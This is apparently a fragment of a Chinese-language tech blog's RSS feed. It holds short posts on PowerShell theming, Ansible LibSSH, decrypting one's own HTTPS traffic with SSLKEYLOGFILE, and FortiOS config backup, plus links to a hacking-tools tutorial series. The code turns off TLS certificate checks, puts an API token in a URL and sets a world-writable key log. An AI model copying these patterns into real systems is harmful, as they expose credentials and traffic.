&lt;p>編輯 &lt;code>%UserProfile%\.wslconfig&lt;/code> 檔案&lt;/p></description></item><item><title>第 19 天 BGP 協定（1）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201230-bgp/</link><pubDate>Wed, 30 Dec 2020 20:00:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201230-bgp/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10249123" target="_blank" rel="noopener">第 19 天 BGP 協定（1）&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10249539" target="_blank" rel="noopener">第 20 天 BGP 協定（2）&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>使用 oh-my-posh 美化 PowerShell 樣式</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201210-setting-powershell-theme-with-oh-my-posh/</link><pubDate>Thu, 10 Dec 2020 13:15:59 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201210-setting-powershell-theme-with-oh-my-posh/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.poychang.net/setting-powershell-theme-with-oh-my-posh/" target="_blank" rel="noopener">使用 oh-my-posh 美化 PowerShell 樣式&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 這會從 PowerShell Gallery 下載並安裝 posh-git 和 oh-my-posh 這兩個模組，前者是在命令列中顯示 Git 專案的相關資訊，後者則是美美的樣式套件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Install-Module posh-git -Scope CurrentUser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Install-Module oh-my-posh -Scope CurrentUser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 接著我們要修改 PowerShell 啟動時所載入的設定檔，在 PowerShell 中輸入 $PROFILE 可得到當前使用者啟動 PowerShell 時，會載入的個人設定檔位置。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 你的電腦可能沒有這個實體檔案，這時可以執行下面的指令，如果沒有該設定檔，則建立一個，然後使用 notepad 來開啟該設定檔。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>notepad $PROFILE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>最後在該設定檔中加入下列指令&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Import-Module posh-git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Import-Module oh-my-posh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Set-Theme Paradox
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>oh-my-posh 內建了很多樣式，你也可以使用 Get-Theme 這個 Cmdlet 指令取得 oh-my-posh 有提供的所有樣式及相關檔案位置&lt;/p></description></item><item><title>冰山一角的駭客工具介紹</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201208-2536/</link><pubDate>Tue, 08 Dec 2020 21:50:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201208-2536/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/users/20114110/ironman/2536" target="_blank" rel="noopener">冰山一角的駭客工具介紹&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10214839" target="_blank" rel="noopener">[駭客工具 Day10] web 安全測試 - Burp Suite&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10215002" target="_blank" rel="noopener">[駭客工具 Day11] 網站路徑遍歷 - DirBuster&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10215072" target="_blank" rel="noopener">[駭客工具 Day12] 密碼暴力破解 - Hydra&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10215234" target="_blank" rel="noopener">[駭客工具 Day13] 密碼字典檔生成工具 - crunch&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10216722" target="_blank" rel="noopener">[駭客工具 Day16] 滲透神器 - Metasploit&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10217688" target="_blank" rel="noopener">[駭客工具 Day18] windows 密碼獲取神器 - mimikatz&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10221189" target="_blank" rel="noopener">[駭客工具 Day25] CTF Exploit 的 Python library - pwntools&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>用 IIS、.NET 4.5 與 Octopus Deploy 建立 Windows Server Vagrant box</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201203-provisioning-a-windows-server-vagrant-box-with-iis-net-4-5-and-octopus-deploy/</link><pubDate>Thu, 03 Dec 2020 12:39:01 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201203-provisioning-a-windows-server-vagrant-box-with-iis-net-4-5-and-octopus-deploy/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://kwilson.io/blog/provisioning-a-windows-server-vagrant-box-with-iis-net-4-5-and-octopus-deploy/" target="_blank" rel="noopener">用 IIS、.NET 4.5 與 Octopus Deploy 建立 Windows Server Vagrant box&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://stackoverflow.com/questions/64242931/how-to-use-a-powershell-script-during-vagrant-up-on-host-correctly" target="_blank" rel="noopener">在 host 端執行 vagrant up 時如何正確使用 PowerShell script？&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://akrabat.com/first-steps-with-windows-on-vagrant/" target="_blank" rel="noopener">Windows 在 Vagrant 上的起步&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://followkman.com/2016/07/27/vagrant-up-on-windows-10-with-hyper-v/" target="_blank" rel="noopener">https://followkman.com/2016/07/27/vagrant-up-on-windows-10-with-hyper-v/&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Ansible Network 的新 LibSSH 連線外掛取代 Paramiko，並支援 FIPS 模式</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201125-new-libssh-connection-plugin-for-ansible-network/</link><pubDate>Wed, 25 Nov 2020 21:09:50 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201125-new-libssh-connection-plugin-for-ansible-network/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.ansible.com/blog/new-libssh-connection-plugin-for-ansible-network" target="_blank" rel="noopener">Ansible Network 的新 LibSSH 連線外掛取代 Paramiko，並支援 FIPS 模式&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="切換-ansible-playbook-使用-libssh">切換 Ansible Playbook 使用 LibSSH&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 LibSSH&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pip install ansible-pylibssh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>在 Ansible Playbook 中使用 LibSSH&lt;/p>
&lt;p>方法 1. 在專案的 &lt;code>ansible.cfg&lt;/code> 檔案中設定 &lt;code>ssh_type&lt;/code> 參數使用 libssh&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#a6e22e">persistent_connection&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">ssh_type&lt;/span> = &lt;span style="color:#a6e22e">libssh&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>方法 2: 設定 &lt;code>ANSIBLE_NETWORK_CLI_SSH_TYPE&lt;/code> 環境變數&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ export ANSIBLE_NETWORK_CLI_SSH_TYPE&lt;span style="color:#f92672">=&lt;/span>libssh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>方法 3: 在 play 等級的 playbook 中設定 &lt;code>ansible_network_cli_ssh_type&lt;/code> 為 libssh&lt;/p>
&lt;h5 id="用來測試-libssh-設定的-playbook">用來測試 libssh 設定的 Playbook&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;changeme&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gather_facts&lt;/span>: &lt;span style="color:#66d9ef">no&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">connection&lt;/span>: &lt;span style="color:#ae81ff">ansible.netcommon.network_cli&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible_network_os&lt;/span>: &lt;span style="color:#ae81ff">cisco.ios.ios&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible_user&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;changeme&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible_password&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;changeme&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible_network_cli_ssh_type&lt;/span>: &lt;span style="color:#ae81ff">libssh&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">run show version command&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible.netcommon.cli_command&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">command&lt;/span>: &lt;span style="color:#ae81ff">show version&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">run show version command&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible.netcommon.cli_command&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">command&lt;/span>: &lt;span style="color:#ae81ff">show interfaces&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CentOS 7 掛載 Synology NAS 資料夾</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201109-145053/</link><pubDate>Mon, 09 Nov 2020 12:12:32 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201109-145053/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.dotblogs.com.tw/zerroyuy/2020/08/20/145053" target="_blank" rel="noopener">CentOS 7 掛載 Synology NAS 資料夾&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>MacBook 设置 SSLKEYLOGFILE 环境变量解密 HTTPS 流量</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201106-sslkeylog/</link><pubDate>Fri, 06 Nov 2020 20:02:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201106-sslkeylog/</guid><description>&lt;ul>
&lt;li>&lt;a href="http://www.luwenpeng.cn/2020/04/29/MacBook%E8%AE%BE%E7%BD%AESSLKEYLOGFILE%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%A7%A3%E5%AF%86HTTPS%E6%B5%81%E9%87%8F/" target="_blank" rel="noopener">MacBook 设置 SSLKEYLOGFILE 环境变量解密 HTTPS 流量&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>创建 keylogfile&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir ~/sslkeylogfile &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> touch ~/sslkeylogfile/keylogfile.log &lt;span style="color:#75715e"># 创建 keylogfile.log 文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo chmod &lt;span style="color:#ae81ff">777&lt;/span> ~/sslkeylogfile/keylogfile.log &lt;span style="color:#75715e"># 更改权限，确保 chrome 启动时能写入数据&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>配置环境变量&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vim ~/.zshrc &lt;span style="color:#75715e"># 打开配置文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export SSLKEYLOGFILE&lt;span style="color:#f92672">=&lt;/span>~/sslkeylogfile/keylogfile.log &lt;span style="color:#75715e"># 配置环境变量&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>source ~/.zshrc &lt;span style="color:#75715e"># 使配置文件生效&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>配置 wireshark&lt;/p>
&lt;p>perferences -&amp;gt; Protocols -&amp;gt; TLS&lt;/p>
&lt;ul>
&lt;li>配置 TSL debug file 记录解密日志&lt;/li>
&lt;li>配置 (Pre)-Master-Secret log filename 路径为 keylogfile.log 的绝对路径&lt;/li>
&lt;/ul>
&lt;p>使用 termial 启动 chrome&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>open -a &lt;span style="color:#e6db74">&amp;#39;Google Chrome&amp;#39;&lt;/span> https://www.baidu.com/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>注意：从 termial 启动 chrome，为了确保 chrome 可以读取 SSLKEYLOGFILE 环境变量。&lt;/p></description></item><item><title>使用 Ansible 透過 RestAPI 備份 FortiOS 設定</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201103-backup-fortios-config-with-ansible-with-restapi/</link><pubDate>Tue, 03 Nov 2020 17:59:24 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201103-backup-fortios-config-with-ansible-with-restapi/</guid><description>&lt;ul>
&lt;li>&lt;a href="http://shogokobayashi.com/2019/02/15/fortigate-restapi-config-backup-fortios-6-0-4/" target="_blank" rel="noopener">Fortigate RestAPI 設定備份 - FortiOS 6.0.4&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://shogokobayashi.com/2019/04/05/backup-fortios-config-with-ansible-with-restapi/" target="_blank" rel="noopener">使用 Ansible 透過 RestAPI 備份 FortiOS 設定&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="建立存取設定檔">建立存取設定檔&lt;/h5>
&lt;pre tabindex="0">&lt;code>FGTAWS0004BE1ADE # config system accprofile
FGTAWS0004BE1ADE (accprofile) # edit readOnly
new entry &amp;#39;readOnly&amp;#39; added
FGTAWS0004BE1ADE (readOnly) # set sysgrp read
FGTAWS0004BE1ADE (readOnly) # end
&lt;/code>&lt;/pre>&lt;h5 id="在-fortigate-建立-api-使用者">在 Fortigate 建立 API 使用者&lt;/h5>
&lt;pre tabindex="0">&lt;code>FGTAWS0004BE1ADE # config system api-user
FGTAWS0004BE1ADE (api-user) # edit api-admin
new entry &amp;#39;api-admin&amp;#39; added
FGTAWS0004BE1ADE (api-admin) # set accprofile &amp;#34;readOnly&amp;#34;
FGTAWS0004BE1ADE (api-admin) # set vdom root
FGTAWS0004BE1ADE (api-admin) # config trusthost
FGTAWS0004BE1ADE (trusthost) # edit 1
new entry &amp;#39;1&amp;#39; added
FGTAWS0004BE1ADE (1) # set ipv4-trusthost &amp;#39;ip_address_of_your_machine&amp;#39; 255.255.255.255
FGTAWS0004BE1ADE (1) # end
FGTAWS0004BE1ADE (api-admin) # end
&lt;/code>&lt;/pre>&lt;h5 id="產生-api-token">產生 API token&lt;/h5>
&lt;pre tabindex="0">&lt;code>FGTAWS0004BE1ADE # execute api-user generate-key api-admin
New API key: &amp;#39;your_api_token&amp;#39;
NOTE: The bearer of this API key will be granted all access privileges assigned to the api-user api-admin.
&lt;/code>&lt;/pre>&lt;h5 id="測試">測試&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># fortigate.py&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> requests
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> urllib3 &lt;span style="color:#75715e"># disable security warning for SSL certificate&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>urllib3&lt;span style="color:#f92672">.&lt;/span>disable_warnings(urllib3&lt;span style="color:#f92672">.&lt;/span>exceptions&lt;span style="color:#f92672">.&lt;/span>InsecureRequestWarning) &lt;span style="color:#75715e"># disable security warning for SSL certificate&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">def&lt;/span> &lt;span style="color:#a6e22e">config_download&lt;/span>(ipaddr, api_token, filename&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;backup.conf&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#39;&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> input: ipaddr(string) - target ip address of fortigate
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> input: api_token(string) - api_token for api user(accprofile should have sysgrp.mnt)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> input: filename(string) - file name of the config to be saved. default backup.conf
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> output: True if backup successfule. False if not successful.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> Tested on: Fortigate OnDemand on AWS - FortiOS6.0.4
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> &amp;#39;&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> base_url &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#39;https://&lt;/span>&lt;span style="color:#e6db74">{&lt;/span>ipaddr&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">/api/v2/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> headers &lt;span style="color:#f92672">=&lt;/span> {&lt;span style="color:#e6db74">&amp;#39;Authorization&amp;#39;&lt;/span>: &lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#39;Bearer &lt;/span>&lt;span style="color:#e6db74">{&lt;/span>api_token&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params &lt;span style="color:#f92672">=&lt;/span> {&lt;span style="color:#e6db74">&amp;#39;scope&amp;#39;&lt;/span>: &lt;span style="color:#e6db74">&amp;#39;global&amp;#39;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> uri &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;monitor/system/config/backup/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rep &lt;span style="color:#f92672">=&lt;/span> requests&lt;span style="color:#f92672">.&lt;/span>get(base_url &lt;span style="color:#f92672">+&lt;/span> uri, headers&lt;span style="color:#f92672">=&lt;/span>headers, params&lt;span style="color:#f92672">=&lt;/span>params, verify&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">False&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> rep&lt;span style="color:#f92672">.&lt;/span>status_code &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">200&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#39;Something went wrong. status_code: &lt;/span>&lt;span style="color:#e6db74">{&lt;/span>rep&lt;span style="color:#f92672">.&lt;/span>status_code&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">False&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">with&lt;/span> open(filename, &lt;span style="color:#e6db74">&amp;#39;w&amp;#39;&lt;/span>) &lt;span style="color:#66d9ef">as&lt;/span> f:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> f&lt;span style="color:#f92672">.&lt;/span>write(rep&lt;span style="color:#f92672">.&lt;/span>text)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">True&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;pre tabindex="0">&lt;code>&amp;gt;&amp;gt;&amp;gt; import fortigate
&amp;gt;&amp;gt;&amp;gt;
&amp;gt;&amp;gt;&amp;gt; ip_addr = &amp;#39;Fortigate_IP_Address&amp;#39;
&amp;gt;&amp;gt;&amp;gt; api_token = &amp;#39;API_TOKEN&amp;#39;
&amp;gt;&amp;gt;&amp;gt;
&amp;gt;&amp;gt;&amp;gt; if (fortigate.config_download(ip_addr, api_token, &amp;#39;backup20190215.conf&amp;#39;)):
... print(&amp;#39;Done!&amp;#39;)
... else:
... print(&amp;#39;Error!!&amp;#39;)
...
Done!
&amp;gt;&amp;gt;&amp;gt;
&amp;gt;&amp;gt;&amp;gt; with open(&amp;#39;backup20190215.conf&amp;#39;, &amp;#39;r&amp;#39;) as f:
... f.readline()
...
&amp;#39;#config-version=FGTAWS-6.0.4-FW-build0231-190107:opmode=0:vdom=0:user=api-admin\n&amp;#39;
&amp;gt;&amp;gt;&amp;gt;
&lt;/code>&lt;/pre>&lt;hr>
&lt;h5 id="設定-ansible-inventory-與-playbook">設定 Ansible inventory 與 playbook&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat hosts
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>fortigate&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>x.x.x.x access_token&lt;span style="color:#f92672">=&lt;/span>w4q9qtfbGry3Nbc40kHjsk9mxG****
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>y.y.y.y access_token&lt;span style="color:#f92672">=&lt;/span>tfy8c9b8Nxw6N3Q5Q5bg9z69dn****
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">$ cat fortigate_backup.yml&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">fortigate config backup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">connection&lt;/span>: &lt;span style="color:#ae81ff">local&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">fortigate&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">get current config&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">uri&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">url&lt;/span>: &lt;span style="color:#e6db74">&amp;#39;https://{{ ansible_host }}/api/v2/monitor/system/config/backup/?scope=global&amp;amp;access_token={{ access_token }}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return_content&lt;/span>: &lt;span style="color:#66d9ef">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">validate_certs&lt;/span>: &lt;span style="color:#66d9ef">no&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">current_config&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">write config to local file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">local_action&lt;/span>: &lt;span style="color:#ae81ff">copy content={{ current_config.content }} dest=./{{ inventory_hostname }}_{{ ansible_date_time.date }}.txt&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>2020年，最新NGINX的ngx_http_geoip2模块以精准禁止特定国家或者地区IP访问</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201027-nginx_geoip2/</link><pubDate>Tue, 27 Oct 2020 15:44:48 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201027-nginx_geoip2/</guid><description>&lt;ul>
